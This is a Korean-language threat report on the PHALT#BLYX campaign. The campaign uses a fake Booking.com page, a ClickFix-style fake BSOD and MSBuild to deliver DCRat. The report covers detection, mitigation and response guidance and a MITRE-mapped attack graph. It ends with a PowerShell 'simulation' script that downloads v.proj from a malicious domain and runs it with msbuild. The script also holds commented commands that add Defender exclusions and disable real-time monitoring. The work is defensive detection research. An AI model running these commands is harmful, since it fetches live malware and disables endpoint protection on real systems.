PHALT#BLYX 분석: 가짜 BSOD 및 신뢰할 수 있는 빌드 도구를 활용한 멀웨어 체인
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 보고서는 가짜 Booking.com 랜딩 페이지, 잘못된 블루 스크린 스타일 애니메이션, 그리고 사용자가 PowerShell 드로퍼를 실행하도록 유도하는 ClickFix 스타일 프롬프트를 결합한 다단계 침입 체인이 환대 부문에 미치는 영향을 상세히 설명합니다. 이 드로퍼는 MSBuild 프로젝트 파일을 검색하여 맞춤형 DCRat 로더를 실행합니다. 로더는 Windows Defender를 조작하고, 시작 .url 단축키를 사용하여 지속성을 설정하며, 합법적인 프로세스에 페이로드를 주입합니다. PowerShell과 MSBuild.exe와 같은 living-off-the-land 유틸리티를 사용하여 운영자들은 명백한 악성코드 흔적을 줄입니다. 이 체인에 러시아어 언어 아티팩트가 존재한다는 점도 속성 단서로 언급됩니다.
조사
Securonix 연구원들은 ‘예약 취소’ 링크를 포함한 피싱 이메일에서 악성 도메인으로 이어진 흐름을 매핑한 후, msbuild.exe를 찾아 v.proj 파일을 다운로드하고 실행하는 PowerShell 원라이너로 연결했습니다. v.proj 프로젝트는 여러 액션을 수행합니다: Windows Defender 예외를 추가하고, staxs.exe(DCRat 변형)를 다운로드하고, 시작 .url 단축키를 생성하여 지속성을 유지하며, 포트 3535를 통해 명령 및 제어 인프라에 연결합니다. 로더는 마지막 단계를 aspnet_compiler.exe에 압축하고 주입하여 합법적 활동에 녹아듭니다.
완화
사용자에게 ClickFix 스타일 프롬프트와 ‘이 명령을 실행하여 수정’하는 사회공학을 인식하도록 교육하여 노출을 줄입니다. 특히 비정상적인 경로나 사용자 주도의 워크플로에서 호출될 때 MSBuild.exe 실행을 모니터링 및 제한하고, PowerShell 스크립트 블록 로깅을 활성화하여 가시성을 개선합니다. 시작 폴더의 .url 단축키 생성 및 Windows Defender 예외 수정에 대한 탐지를 추가합니다. 네트워크 계층에서는 식별된 악성 도메인으로의 아웃바운드 트래픽을 차단하고 TCP/3535로의 수상한 송출을 명시적으로 제한하거나 경고하세요.
대응
활동이 감지되면 호스트를 격리하고 v.proj, staxs.exe 및 모든 시작 .url 파일을 포함한 주요 아티팩트를 보존합니다. 승인되지 않은 Defender 예외를 제거하고, 악성 프로세스나 주입된 프로세스를 종료하며, 관련 C2 도메인/IP를 차단합니다 – 특히 포트 3535을 통한 모든 통신을 차단합니다. 잠재적으로 노출된 자격 증명을 재설정하고, 전체 악성코드 스캔을 수행하며, 유사한 MSBuild 기반 실행 및 PowerShell 명령 패턴을 환경 전반적으로 조사합니다. 마지막으로, Startup 단축키를 통한 지속성, ClickFix 동작 및 MSBuild 오용에 초점을 맞춘 위협 인텔리전스 기반 탐지를 배포하여 재발을 방지합니다.
“graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef file fill:#e6e6e6 classDef folder fill:#d9ead3 %% Nodes u2013 Actions action_phishing[“<b>행위</b> – <b>T1566.002 스피어피싱 링크</b><br/><b>설명</b>: 피해자는 Booking.com에서 온 것처럼 보이는 이메일을 받고 가짜 예약 사이트로의 악성 링크를 클릭합니다.”] class action_phishing action action_user_execution[“<b>행위</b> – <b>T1204.001 사용자 실행</b> & <b>T1204.004 악성 복사-붙여넣기</b><br/><b>설명</b>: 가짜 사이트는 BSOD 같은 페이지를 보여주어 사용자가 실행 창에 PowerShell 명령어를 붙여넣도록 유도합니다.”] class action_user_execution action action_defense_evasion_exclusions[“<b>행위</b> – <b>T1562 방어 손상</b> & <b>T1564.012 파일/경로 제외</b><br/><b>설명</b>: v.proj 스크립트는 ProgramData 및 일반 실행 파일 확장자에 대한 Windows Defender 예외를 추가합니다.”] class action_defense_evasion_exclusions action action_persistence_shortcut[“<b>행위</b> – <b>T1547.009 바로가기 수정</b><br/><b>설명</b>: 사용자 시작 폴더에 내려받은 실행 파일을 가리키는 인터넷 바로가기(.url)를 생성합니다.”] class action_persistence_shortcut action action_process_hollowing[“<b>행위</b> – <b>T1055.012 프로세스 할로잉</b><br/><b>설명</b>: aspnet_compiler.exe에 최종 DCRat 페이로드를 프로세스 할로잉을 이용해 주입합니다.”] class action_process_hollowing action action_reflective_loading[“<b>행위</b> – <b>T1620 반사 코드 로딩</b><br/><b>설명</b>: Assembly.Load를 통해 추가 DLL 페이로드를 반사적 로딩합니다.”] class action_reflective_loading action action_c2_nonstandard_port[“<b>행위</b> – <b>T1571 비표준 포트</b><br/><b>설명</b>: RAT는 TCP 포트 3535를 통해 C2 서버와 통신합니다.”] class action_c2_nonstandard_port action action_c2_dynamic_resolution[“<b>행위</b> – <b>T1568 동적 해상도</b><br/><b>설명</b>: 실행 시 여러 C2 도메인(e.g., asj77.com)을 해상합니다.”] class action_c2_dynamic_resolution action action_obfuscation[“<b>행위</b> – <b>T1027.005 난독화된 파일 또는 정보</b><br/><b>설명</b>: 페이로드들은 정적 탐지를 피하기 위해 강력하게 난독화되고 패킹됩니다.”] class action_obfuscation action %% Nodes u2013 Tools tool_powershell[“<b>도구</b> – <b>T1059.001 PowerShell</b><br/><b>설명</b>: 악성 명령어를 실행하여 MSBuild 프로젝트 파일을 다운로드합니다.”] class tool_powershell tool tool_msbuild[“<b>도구</b> – <b>T1127.001 MSBuild</b><br/><b>설명</b>: 악성 v.proj 파일을 컴파일하고 실행하는 신뢰할 수 있는 개발자 유틸리티입니다.”] class tool_msbuild tool tool_aspnet_compiler[“<b>도구</b> – aspnet_compiler.exe<br/><b>설명</b>: 프로세스 할로잉의 타겟이 된 합법적인 .NET 컴파일러입니다.”] class tool_aspnet_compiler process %% Nodes u2013 Malware / Files malware_vproj[“<b>악성코드</b> – v.proj (악성 MSBuild 프로젝트)<br/><b>설명</b>: PowerShell에 의해 다운로드되고 MSBuild에 의해 컴파일되며 방어자 예외를 추가하고 페이로드를 버립니다.”] class malware_vproj malware malware_dcrat[“<b>악성코드</b> – DCRat 페이로드<br/><b>설명</b>: 최종 원격 액세스 트로이목마가 aspnet_compiler.exe에 주입됩니다.”] class malware_dcrat malware file_shortcut[“<b>파일</b> – 시작 프로그램 바로가기 (.url)<br/><b>설명</b>: 내려받은 DCRat 실행 파일을 가리키며 로그인 시 자동 실행을 보장합니다.”] class file_shortcut file folder_startup[“<b>폴더</b> – 시작 디렉토리<br/><b>설명</b>: 지속성을 유발하는 악성 바로가기를 포함하고 있습니다.”] class folder_startup folder file_dcrat_exe[“<b>파일</b> – 내려받은 DCRat 실행 파일<br/><b>설명</b>: 바로가기 작동 후 실행됩니다.”] class file_dcrat_exe file dll_payloads[“<b>파일</b> – 추가 DLL 페이로드<br/><b>설명</b>: DCRat 페이로드에 의해 반사적으로 로드됩니다.”] class dll_payloads file port_3535[“<b>네트워크</b> – TCP 포트 3535<br/><b>설명</b>: C2 통신에 사용됩니다.”] class port_3535 file domain_asj77[“<b>네트워크</b> – asj77.com (C2 도메인)<br/><b>설명</b>: 명령 및 제어를 위한 실행 중에 해상됩니다.”] class domain_asj77 file %% Connections u2013 Flow action_phishing u002du002d>|leads to| action_user_execution action_user_execution u002du002d>|executes| tool_powershell tool_powershell u002du002d>|downloads| malware_vproj malware_vproj u002du002d>|compiled by| tool_msbuild tool_msbuild u002du002d>|executes| malware_vproj malware_vproj u002du002d>|adds| action_defense_evasion_exclusions action_defense_evasion_exclusions u002du002d>|creates| file_shortcut file_shortcut u002du002d>|placed in| folder_startup folder_startup u002du002d>|loads| file_dcrat_exe malware_vproj u002du002d>|drops| file_dcrat_exe file_dcrat_exe u002du002d>|runs| malware_dcrat malware_dcrat u002du002d>|injects into| tool_aspnet_compiler tool_aspnet_compiler u002du002d>|hollowed by| malware_dcrat malware_dcrat u002du002d>|loads reflectively| dll_payloads malware_dcrat u002du002d>|communicates via| action_c2_nonstandard_port action_c2_nonstandard_port u002du002d>|uses| port_3535 malware_dcrat u002du002d>|uses dynamic resolution| action_c2_dynamic_resolution action_c2_dynamic_resolution u002du002d>|resolves to| domain_asj77 malware_dcrat u002du002d>|obfuscated by| action_obfuscation “
공격 흐름
탐지
PowerShell을 통한 다운로드 또는 업로드 (cmdline 이용)
보기
Windows Defender 환경설정 수상한 변경 (PowerShell 이용)
보기
가능한 지속성 포인트 [ASEPs – Software/NTUSER Hive] (registry_event 이용)
보기
자동 시작 위치에서 수상한 바이너리/스크립트 (file_event 이용)
보기
PHALT#BLYX 분석을 위한 IOCs (HashSha512) 감지: 가짜 BSOD와 신뢰할 수 있는 빌드 도구가 어떻게 악성코드 감염을 구성하는지
보기
PHALT#BLYX 분석을 위한 IOCs (SourceIP) 감지: 가짜 BSOD와 신뢰할 수 있는 빌드 도구가 어떻게 악성코드 감염을 구성하는지
보기
PHALT#BLYX 분석을 위한 IOCs (HashSha256) 감지: 가짜 BSOD와 신뢰할 수 있는 빌드 도구가 어떻게 악성코드 감염을 구성하는지
보기
PHALT#BLYX 분석을 위한 IOCs (DestinationIP) 감지: 가짜 BSOD와 신뢰할 수 있는 빌드 도구가 어떻게 악성코드 감염을 구성하는지
보기
PHALT#BLYX 악성 페이로드 실행 (Windows 프로세스 생성) – MSBuild 및 프로세스 할로잉 사용
보기
PHALT#BLYX 악성 캠페인 (Windows PowerShell) – 감염을 위해 PowerShell 및 MSBuild 사용
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 베이스라인 사전 점검이 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적 공격자 기술(TTP) 실행을 명확히 설명합니다. 명령과 설명은 식별된 TTP를 직접 반영하고 탐지 논리에 기대되는 정확한 텔레메트리를 생성하는 데 목표를 둡니다.
-
공격 서사 및 명령:
위협 행위자는 손상된 엔드포인트에서 PowerShell 세션을 엽니다. 그들은 먼저 시스템의msbuild.exe바이너리를 찾은 다음 악성 MSBuild 프로젝트 (v.proj)을C:ProgramData에 다운로드합니다. 공격자는 즉시msbuild.exe을 호출하여 페이로드를 실행하고 두 번째 단계를 떨어뜨립니다. 마지막으로, 지속성을 보장하기 위해 Windows Defender의 설정을 조작하여 예외를 추가하고 실시간 모니터링을 비활성화합니다. -
회귀 테스트 스크립트:
# PHALT#BLYX 시뮬레이션 스크립트 - 탐지 트리거 활동을 재현합니다 # -------------------------------------------------------------- # 1. msbuild.exe 찾기 $msb = (Get-ChildItem -Path C: -Filter msbuild.exe -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1).FullName # 2. ProgramData에 악성 MSBuild 프로젝트 다운로드 $projUrl = "https://2fa-bns.com/v.proj" $dest = "$env:ProgramDatav.proj" Invoke-WebRequest -Uri $projUrl -OutFile $dest # 3. msbuild.exe로 프로젝트 실행 & $msb $dest # 4. Windows Defender 설정 수정 (다음 중 하나를 선택하면 규칙이 충족됩니다) # 공격자의 행동을 시뮬레이션하려면 원하는 줄의 주석을 해제하세요. # 제외 경로 추가 # Add-MpPreference -ExclusionPath "$env:ProgramData" # .exe 파일 제외 추가 # Add-MpPreference -ExclusionExtension ".exe" # .ps1 파일 제외 추가 # Add-MpPreference -ExclusionExtension ".ps1" # 실시간 모니터링 비활성화 # Set-MpPreference -DisableRealtimeMonitoring $true -
정리 명령:
# 드롭된 프로젝트 파일 제거 Remove-Item -Path "$env:ProgramDatav.proj" -Force -ErrorAction SilentlyContinue # Windows Defender 실시간 모니터링 복원 (비활성화된 경우) Set-MpPreference -DisableRealtimeMonitoring $false # 추가한 제외 제거 (경로 제외 예시) Remove-MpPreference -ExclusionPath "$env:ProgramData" # 페이로드에 의해 생성된 남아있는 파일을 선택적으로 삭제 # Remove-Item -Path "C:ProgramDatamalicious_payload.exe" -Force -ErrorAction SilentlyContinue